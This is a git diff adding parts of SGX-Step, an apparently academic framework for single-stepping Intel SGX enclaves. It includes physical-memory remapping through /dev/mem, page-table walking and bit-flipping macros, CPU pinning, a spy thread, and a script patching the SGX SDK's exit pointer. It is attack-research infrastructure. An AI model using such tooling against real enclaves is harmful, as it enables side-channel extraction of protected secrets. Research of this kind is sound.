a/libsgxstep/enclave.h b/libsgxstep/enclave.h new file mode 100644 index 0000000..b508d18 --- /dev/null +++ b/libsgxstep/enclave.h @@ -0,0 +1,34 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGX_STEP_AEP_H +#define SGX_STEP_AEP_H + +#include + +typedef void (*aep_cb_t)(uint64_t erip); +void register_aep_cb(aep_cb_t cb); + +void register_enclave_info(int edbgrd_rip); +void print_enclave_info(void); +void *get_enclave_base(void); +int get_enclave_size(void); + +#endif diff --git a/libsgxstep/pt.c b/libsgxstep/pt.c new file mode 100644 index 0000000..b34dbdc --- /dev/null +++ b/libsgxstep/pt.c @@ -0,0 +1,264 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include "pt.h" +#include "apic.h" +#include "debug.h" +#include +#include +#include +#include +#include + +int fd_step = -1, fd_mem = -1; + +void __attribute__((constructor)) init_sgx_step( void ) +{ + ASSERT((fd_step == -1) && (fd_mem == -1)); + ASSERT((fd_step = open("/dev/sgx-step", O_RDWR)) >= 0); + info("/dev/sgx-step opened!"); + + ASSERT((fd_mem = open("/dev/mem", O_RDWR|O_SYNC)) >= 0); + info("/dev/mem opened!"); +} + +void __attribute__((destructor)) tear_down_sgx_step( void ) +{ + close(fd_step); + close(fd_mem); +} + +void *remap(uint64_t phys) +{ + void *map; + uint64_t virt; + volatile uint8_t force_mapping; + ASSERT(fd_mem >= 0); + + map = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, + fd_mem, phys & ~PFN_MASK ); + ASSERT(map != MAP_FAILED); + + virt = ((uint64_t) map) | (phys & PFN_MASK); + force_mapping = *((uint8_t *) virt); + + return (void*) virt; +} + +void *remap_page_table_level( void *address, pt_level_t level ) +{ + address_mapping_t *map = get_mappings( address ); + void *addr_remapped; + + addr_remapped = remap( phys_address( map, level ) ); + free( map ); + + return addr_remapped; +} + +address_mapping_t *get_mappings( void *address ) +{ + address_mapping_t *mapping; + ASSERT( (mapping = (address_mapping_t *) malloc(sizeof(address_mapping_t))) ); + memset( mapping, 0x00, sizeof( address_mapping_t ) ); + + mapping->virt = (uint64_t) address; + ASSERT( ioctl( fd_step, SGX_STEP_IOCTL_GET_PT_MAPPING, mapping ) >= 0); + + return mapping; +} + +uint64_t phys_address( address_mapping_t *map, pt_level_t level ) +{ + uint64_t base = phys_base_address(map, level); + uint64_t index = virt_index(map, level); + + if ( level == PAGE ) + return base + index; + else + return base + index * 64/8; +} + +uint64_t phys_base_address( address_mapping_t *map, pt_level_t level ) +{ + ASSERT(map); + + switch( level ) + { + case PGD: + return map->pgd_phys_address; + case PUD: + { + return PGD_PHYS( map->pgd ); + } + case PMD: + { + ASSERT( !PUD_PS( map->pud ) ); + return PUD_PS_0_PHYS( map->pud ); + } + case PTE: + { + ASSERT( !PUD_PS( map->pud ) && !PMD_PS( map->pmd ) ); + return PMD_PS_0_PHYS( map->pmd ); + } + case PAGE: + default: + { + if ( PUD_PS( map->pud ) ) + return PUD_PS_1_PHYS( map->pud ); + + if ( PMD_PS( map->pmd ) ) + return PMD_PS_1_PHYS( map->pmd ); + + return PT_PHYS( map->pte ); + } + } +} + +uint64_t virt_index( address_mapping_t *map, pt_level_t level ) +{ + uint64_t virt; + ASSERT(map); + virt = map->virt; + + switch( level ) + { + case PGD: + return PGD_INDEX( virt ); + case PUD: + return PUD_INDEX( virt ); + case PMD: + { + ASSERT( !PUD_PS( map->pud )); + return PMD_INDEX( virt ); + } + case PTE: + { + ASSERT( !PUD_PS( map->pud ) && !PMD_PS( map->pmd ) ); + return PT_INDEX( virt ); + } + case PAGE: + default: + { + if ( PUD_PS( map->pud ) ) + return PAGE1GiB_INDEX( virt ); + + if ( PMD_PS( map->pmd ) ) + return PAGE2MiB_INDEX( virt ); + + return PAGE_INDEX( virt ); + } + } +} + +void cpuid( uint64_t *rax, uint64_t *rbx, uint64_t *rcx, uint64_t *rdx ) +{ + asm volatile ( "cpuid\n" + : "=a" (*rax), "=b" (*rbx), "=c" (*rcx), "=d" (*rdx) + : "a" (*rax), "b" (*rbx), "c" (*rcx), "d" (*rdx) ); +} + +uint64_t physical_address_width( void ) +{ + uint64_t rax, rbx, rcx, rdx; + static uint64_t width = 0; + + //the result is cached to avoid VM exits due to the issuing of cpuid + if ( width == 0 ) + { + rax = 0x80000008; + rbx = 0; + rcx = 0; + rdx = 0; + + cpuid( &rax, &rbx, &rcx, &rdx ); + + width = ( rax & 0xff ); + } + + return width; +} + +void print_page_table( void *address ) +{ + address_mapping_t *map; + + map = get_mappings( address ); + + print_mapping( map ); + + free( map ); +} + +void print_mapping( address_mapping_t *map ) +{ + if ( map == NULL ) + printf( "Mapping [%p]\n", map ); + else if ( PUD_PS( map->pud ) || PMD_PS( map->pmd ) ) + printf( "Mapping [%p] -> maps 2MiB or 1GiB page: please implement\n", map ); + else + { + printf( "Mapping [address = %" PRIx64" -> %" PRIx64 " ]\n", map->virt, map->phys ); + printf( " |-> pgd\n" ); + printf( " |- base phys: 0x%" PRIx64 "\n", map->pgd_phys_address ); + printf( " |- index: %" PRIi64 "\n", virt_index( map, PGD ) ); + printf( " |- value: 0x%" PRIx64 "\n", map->pgd ); + printf( " | |- present: %" PRIi64 "\n", PRESENT( map->pgd ) ); + printf( " | |- accessed: %" PRIi64 "\n", ACCESSED( map->pgd ) ); + printf( " | |- writeable: %" PRIi64 "\n", WRITABLE( map->pgd ) ); + printf( " | |- executable: %" PRIi64 "\n", EXECUTABLE( map->pgd ) ); + printf( " |\n" ); + printf( " |-> pud\n" ); + printf( " |- base phys: 0x%" PRIx64 "\n", PGD_PHYS( map->pgd ) ); + printf( " |- index: %" PRIi64 "\n", virt_index( map, PUD ) ); + printf( " |- value: 0x%" PRIx64 "\n", map->pud ); + printf( " | |- present: %" PRIi64 "\n", PRESENT( map->pud ) ); + printf( " | |- page size: %" PRIi64 "\n", PUD_PS( map->pud ) ); + printf( " | |- accessed: %" PRIi64 "\n", ACCESSED( map->pud ) ); + printf( " | |- writeable: %" PRIi64 "\n", WRITABLE( map->pud ) ); + printf( " | |- executable: %" PRIi64 "\n", EXECUTABLE( map->pud ) ); + printf( " |\n" ); + printf( " |-> pmd\n" ); + printf( " |- base phys: 0x%" PRIx64 "\n", PUD_PS_0_PHYS( map->pud ) ); + printf( " |- index: %" PRIi64 "\n", virt_index( map, PMD ) ); + printf( " |- value: 0x%" PRIx64 "\n", map->pmd ); + printf( " | |- present: %" PRIi64 "\n", PRESENT( map->pmd ) ); + printf( " | |- page size: %" PRIi64 "\n", PMD_PS( map->pud ) ); + printf( " | |- accessed: %" PRIi64 "\n", ACCESSED( map->pmd ) ); + printf( " | |- writable: %" PRIi64 "\n", WRITABLE( map->pmd ) ); + printf( " | |- executable: %" PRIi64 "\n", EXECUTABLE( map->pmd ) ); + printf( " |\n" ); + printf( " |-> pte\n" ); + printf( " |- base phys: 0x%" PRIx64 "\n", PMD_PS_0_PHYS( map->pmd ) ); + printf( " |- index: %" PRIi64 "\n", virt_index( map, PTE ) ); + printf( " |- value: 0x%" PRIx64 "\n", map->pte ); + printf( " | |- present: %" PRIi64 "\n", PRESENT( map->pte ) ); + printf( " | |- accessed: %" PRIi64 "\n", ACCESSED( map->pte ) ); + printf( " | |- writable: %" PRIi64 "\n", WRITABLE( map->pte ) ); + printf( " | |- executable: %" PRIi64 "\n", EXECUTABLE( map->pte ) ); + printf( " | |- dirty: %" PRIi64 "\n", DIRTY( map->pte ) ); + printf( " |\n" ); + printf( " |-> PAGE\n" ); + printf( " |- virt address: 0x%" PRIx64 "\n", map->virt ); + printf( " |- index: 0x%" PRIx64 "\n", virt_index( map, PAGE ) ); + printf( " |- base phys address: 0x%" PRIx64 "\n", PT_PHYS( map->pte ) ); + printf( " |- phys address: 0x%" PRIx64 "\n", PT_PHYS( map->pte ) + virt_index( map, PAGE ) ); + } +} diff --git a/libsgxstep/pt.h b/libsgxstep/pt.h new file mode 100644 index 0000000..32ea404 --- /dev/null +++ b/libsgxstep/pt.h @@ -0,0 +1,160 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGX_STEP_MMAP_H +#define SGX_STEP_MMAP_H + +#include +#include +#include "../kernel/sgxstep_ioctl.h" + +// Returns a mask of the form: +// +----- n+1 -+- n --------- 0-+ +// | 0 0 0 | 1 1 1 1 1 | +// +-----------+----------------+ +#define MASK_TO(m) ((UINT64_C(0x1) << ((m) + 1)) - 1 ) + +// Returns a mask of the form: +// +----- m+1 -+- m ------ n -+--- 0-+ +// | 0 0 0 | 1 1 1 1 | 0 0 | +// +-----------+--------------+------+ +// The ordered version requires n < m, the other CREATE_MASK checks this at runtime +#define CREATE_MASK_ORDERED(n,m) (MASK_TO((m)) ^ (MASK_TO((n)) >> 1)) +#define CREATE_MASK(n,m) ( ((n) < (m)) ? (CREATE_MASK_ORDERED((n), (m))) : (CREATE_MASK_ORDERED((m), (n))) ) + +#ifdef REDEFINE_M +#define M REDEFINE_M +#else +#define M (physical_address_width()) +#endif + +#define MASK_M ((uint64_t) ((INT64_C(0x1) << physical_address_width()) - 1)) + +#define A_SHIFT 5 +#define A_MASK (UINT64_C(0x1) << A_SHIFT) + +#define D_SHIFT 6 +#define D_MASK (UINT64_C(0x1) << D_SHIFT) + +#define W_SHIFT 1 +#define W_MASK (UINT64_C(0x1) << W_SHIFT) + +#define XD_SHIFT 63 +#define XD_MASK (UINT64_C(0x1) << XD_SHIFT) + +#define P_SHIFT 0 +#define P_MASK UINT64_C(0x1) + +#define PUD_PS_SHIFT 7 +#define PUD_PS_MASK (UINT64_C(0x1) << PUD_PS_SHIFT) + +#define PMD_PS_SHIFT 7 +#define PMD_PS_MASK (UINT64_C(0x1) << PMD_PS_SHIFT) + +#define PT_PHYS_SHIFT 12 +#define PT_PHYS_MASK (MASK_M << PT_PHYS_SHIFT) + +#define PGD_SHIFT 39 +#define PGD_MASK (INT64_C(0x1ff) << PGD_SHIFT) + +#define PUD_SHIFT 30 +#define PUD_MASK (INT64_C(0x1ff) << PUD_SHIFT) + +#define PMD_SHIFT 21 +#define PMD_MASK (INT64_C(0x1ff) << PMD_SHIFT) + +#define PT_SHIFT 12 +#define PT_MASK (INT64_C(0x1ff) << PT_SHIFT) + +#define PAGE_SHIFT 0 +#define PAGE_MASK (INT64_C(0xfff) << PAGE_SHIFT) + +#define PAGE1GiB_SHIFT 0 +#define PAGE1GiB_MASK (INT64_C(0x3FFFFFFF) << PAGE1GiB_SHIFT) + +#define PAGE2MiB_SHIFT 0 +#define PAGE2MiB_MASK (INT64_C(0x1FFFFF) << PAGE2MiB_SHIFT) + +#define PAGE_SIZE_4KiB 0x1000 +#define PAGE_SIZE_2MiB 0x200000 +#define PAGE_SIZE_1GiB 0x40000000 + +#define PFN_MASK 0xfffULL + +#define ACCESSED(entry) (((entry) & A_MASK) >> A_SHIFT) +#define MARK_ACCESSED(entry) ((entry) | A_MASK) +#define MARK_NOT_ACCESSED(entry) ((entry) & ~A_MASK) + +#define DIRTY(entry) (((entry) & D_MASK) >> D_SHIFT) +#define MARK_DIRTY(entry) ((entry) | D_MASK) +#define MARK_CLEAN(entry) ((entry) & ~D_MASK) + +#define WRITABLE(entry) (((entry) & W_MASK) >> W_SHIFT) +#define MARK_WRITABLE(entry) ((entry) | W_MASK) +#define MARK_NON_WRITABLE(entry) ((entry) & ~W_MASK) + +#define EXECUTE_DISABLE(entry) ((((entry) & XD_MASK) >> XD_SHIFT)) +#define MARK_EXECUTE_DISABLE(entry) ((entry) | XD_MASK) +#define MARK_NOT_EXECUTE_DISABLE(entry) ((entry) & ~XD_MASK) + +#define EXECUTABLE(entry) ((EXECUTE_DISABLE(entry)) ? UINT64_C( 0 ) : UINT64_C( 1 ) ) +#define MARK_EXECUTABLE(entry) MARK_NOT_EXECUTE_DISABLE(entry) +#define MARK_NON_EXECUTABLE(entry) MARK_EXECUTE_DISABLE(entry) + +#define PRESENT(entry) (((entry) & P_MASK) >> P_SHIFT) +#define MARK_PRESENT(entry) ((entry) | P_MASK) +#define MARK_NOT_PRESENT(entry) ((entry) & ~P_MASK) + +#define PUD_PS(entry) (((entry) & PUD_PS_MASK) >> PUD_PS_SHIFT) +#define PMD_PS(entry) (((entry) & PMD_PS_MASK) >> PMD_PS_SHIFT) + +#define PGD_PHYS(entry) ((entry) & (CREATE_MASK(12, M-1))) +#define PUD_PS_0_PHYS(entry) ((entry) & (CREATE_MASK(12, M-1))) +#define PUD_PS_1_PHYS(entry) ((entry) & (CREATE_MASK(30, M-1))) +#define PMD_PS_0_PHYS(entry) ((entry) & (CREATE_MASK(12, M-1))) +#define PMD_PS_1_PHYS(entry) ((entry) & (CREATE_MASK(21, M-1))) +#define PT_PHYS(entry) ((entry) & (CREATE_MASK(12, M-1))) + +#define PGD_INDEX(virt) (virt & PGD_MASK) >> PGD_SHIFT +#define PUD_INDEX(virt) (virt & PUD_MASK) >> PUD_SHIFT +#define PMD_INDEX(virt) (virt & PMD_MASK) >> PMD_SHIFT +#define PT_INDEX(virt) (virt & PT_MASK) >> PT_SHIFT +#define PAGE_INDEX(virt) (virt & PAGE_MASK) >> PAGE_SHIFT +#define PAGE1GiB_INDEX(virt) (virt & PAGE1GiB_MASK) >> PAGE1GiB_SHIFT +#define PAGE2MiB_INDEX(virt) (virt & PAGE2MiB_MASK) >> PAGE2MiB_SHIFT + +void __attribute__((constructor)) init_sgx_step( void ); +void __attribute__((destructor)) tear_down_sgx_step( void ); + +typedef enum {PGD, PUD, PMD, PTE, PAGE} pt_level_t; + +void *remap(uint64_t phys); +void *remap_page_table_level( void *address, pt_level_t level ); + +address_mapping_t *get_mappings( void *address ); +uint64_t phys_address( address_mapping_t *map, pt_level_t level ); +uint64_t phys_base_address( address_mapping_t *map, pt_level_t level ); +uint64_t virt_index( address_mapping_t *map, pt_level_t level ); +uint64_t physical_address_width( void ); + +void print_page_table( void *address ); +void print_mapping( address_mapping_t *map ); + +#endif diff --git a/libsgxstep/sched.c b/libsgxstep/sched.c new file mode 100644 index 0000000..9860693 --- /dev/null +++ b/libsgxstep/sched.c @@ -0,0 +1,140 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#define _GNU_SOURCE +#include +#include "sched.h" +#include "debug.h" +#include "sys_file.h" + +int claim_cpu(int cpu) +{ + cpu_set_t cpuset; + + CPU_ZERO(&cpuset); + CPU_SET(cpu, &cpuset); + ASSERT(sched_setaffinity(0, sizeof(cpuset), &cpuset) >= 0); + return 0; +} + +int get_designated_cpu( void ) +{ + cpu_set_t set; + int i; + + if ( sched_getaffinity( 0, sizeof( cpu_set_t ), &set ) ) + return -1; + + if ( CPU_COUNT( &set ) != 1 ) + return -2; + + for ( i = 0; i < CPU_SETSIZE; ++i ) + { + if ( CPU_ISSET( i, &set ) ) + return i; + } + + return -3; +} + +unsigned int pstate_max_perf_pct( void ) +{ +#if HAS_PSTATE + int result; + + if ( 0 != fread_int( "/sys/devices/system/cpu/intel_pstate/max_perf_pct", &result ) ) + return -1; + + return result; +#else + return 0; +#endif +} + +int pstate_set_max_perf_pct( unsigned int val) +{ +#if HAS_PSTATE + return fwrite_value( "/sys/devices/system/cpu/intel_pstate/max_perf_pct", (int) val); +#else + return -1; +#endif +} + +unsigned int pstate_min_perf_pct( void ) +{ +#if HAS_PSTATE + int result; + + if ( 0 != fread_int( "/sys/devices/system/cpu/intel_pstate/min_perf_pct", &result ) ) + return -1; + + return result; +#else + return 0; +#endif +} + +int pstate_set_min_perf_pct( unsigned int val) +{ +#if HAS_PSTATE + return fwrite_value( "/sys/devices/system/cpu/intel_pstate/min_perf_pct", (int) val); +#else + return -1; +#endif +} + +int disable_turbo(void) +{ +#ifdef HAS_TURBO + return fwrite_value( "/sys/devices/system/cpu/intel_pstate/no_turbo", 1); +#else + return -1; +#endif +} + +int turbo_enabled( void ) +{ + int result; + + if ( 0 != fread_int( "/sys/devices/system/cpu/intel_pstate/no_turbo", &result ) ) + return -1; + + return (result == 0)? 1 : 0; +} + +int prepare_system_for_benchmark(void) +{ + return !pstate_set_min_perf_pct(100) && !pstate_set_max_perf_pct(100) && !disable_turbo(); +} + +int print_system_settings(void) +{ + int pin = 0; + + printf( "==== System Settings ====\n" ); + printf( " Pstate max perf pct: %d\n", pstate_max_perf_pct() ); + printf( " Pstate min perf pct: %d\n", pstate_min_perf_pct() ); + printf( " Turbo Boost: %d\n", turbo_enabled() ); + + printf( " cpu pinning: %d\n", pin = (get_designated_cpu() >= 0)); + if (pin) + printf( " Designated cpu: %d\n", get_designated_cpu() ); + printf( " Running on cpu: %d\n", sched_getcpu() ); +} diff --git a/libsgxstep/sched.h b/libsgxstep/sched.h new file mode 100644 index 0000000..f39ad8f --- /dev/null +++ b/libsgxstep/sched.h @@ -0,0 +1,28 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGX_STEP_SCHED_H +#define SGX_STEP_SCHED_H + +int claim_cpu(int cpu); +int prepare_system_for_benchmark(void); +int print_system_settings(void); + +#endif diff --git a/libsgxstep/spy.c b/libsgxstep/spy.c new file mode 100644 index 0000000..34a4537 --- /dev/null +++ b/libsgxstep/spy.c @@ -0,0 +1,65 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#define _GNU_SOURCE +#include +#include +#include "spy.h" +#include "sched.h" +#include "debug.h" + +struct spy_init +{ + int cpu; + int eid; + spy_thr_t fct; +} init; + +pthread_t pth_spy; +volatile int spy_created = 0; + +void *spy_init(void *arg) +{ + info("hi from init"); + struct spy_init *init = (struct spy_init*) arg; + claim_cpu(init->cpu); + spy_created = 1; + + info("calling spy at %p", init->fct); + init->fct(init->eid); +} + +int spawn_spy(int cpu, spy_thr_t spy, int eid) +{ + init.cpu = cpu; + init.eid = eid; + init.fct = spy; + ASSERT(!pthread_create(&pth_spy, NULL, spy_init, &init)); + + while(!spy_created); + return 0; +} + +void join_spy(void) +{ + void *ret; + ASSERT(pth_spy); + pthread_join(pth_spy, &ret); +} diff --git a/libsgxstep/spy.h b/libsgxstep/spy.h new file mode 100644 index 0000000..c0090c0 --- /dev/null +++ b/libsgxstep/spy.h @@ -0,0 +1,29 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SGX_STEP_SPY_H +#define SGX_STEP_SPY_H + +typedef void (*spy_thr_t)(int); + +int spawn_spy(int cpu, spy_thr_t spy, int eid); +void join_spy(void); + +#endif diff --git a/libsgxstep/sys_file.c b/libsgxstep/sys_file.c new file mode 100644 index 0000000..a5912bf --- /dev/null +++ b/libsgxstep/sys_file.c @@ -0,0 +1,66 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include "sys_file.h" + +#include +#include +#include + +int fread_value( char const *file, char const *format, void *result ) +{ + FILE *fp; + + if ( result == NULL ) + return -1; + + if ( NULL == ( fp = fopen( file, "r" ) ) ) + return -2; + + if ( 1 != fscanf( fp, format, result ) ) + return -3; + + fclose( fp ); + + return 0; +} + +int fread_int( char const *file, int *result ) +{ + return fread_value( file, "%i", result ); +} + +int fwrite_value( char const *file, int value ) +{ + FILE *fp; + int rv; + + if ( file == NULL ) + return -1; + + if ( NULL == ( fp = fopen( file, "w" ) ) ) + return -2; + + rv = fprintf( fp, "%i", value ); + + fclose( fp ); + + return rv; +} diff --git a/libsgxstep/sys_file.h b/libsgxstep/sys_file.h new file mode 100644 index 0000000..d68d884 --- /dev/null +++ b/libsgxstep/sys_file.h @@ -0,0 +1,30 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#ifndef SYS_FILE_H_INC +#define SYS_FILE_H_INC + +int fread_value( char const *file, char const *format, void *result ); + +int fread_int( char const *file, int *result ); + +int fwrite_value( char const *file, int value ); + +#endif diff --git a/linux-sgx b/linux-sgx new file mode 160000 index 0000000..8383b8c --- /dev/null +++ b/linux-sgx @@ -0,0 +1 @@ +Subproject commit 8383b8c65f49fca017c62eb7efdd97a212829caf diff --git a/linux-sgx-driver b/linux-sgx-driver new file mode 160000 index 0000000..3abcf82 --- /dev/null +++ b/linux-sgx-driver @@ -0,0 +1 @@ +Subproject commit 3abcf829226e7fdf46ae221cf1f9f9562d503fa5 diff --git a/patch_sdk.sh b/patch_sdk.sh new file mode 100755 index 0000000..65de9a6 --- /dev/null +++ b/patch_sdk.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +echo "=== checking out SGX SDK v1.9 ===" +cd linux-sgx +git checkout sgx_1.9 + +echo "=== patching AEP ===" +patch -p1 < ../0001-Support-to-reconfigure-Asynchronous-Exit-Pointer-AEP.patch + +echo "=== patching TCS ===" +patch -p1 < ../0002-Add-support-to-retrieve-most-recently-used-TCS-point.patch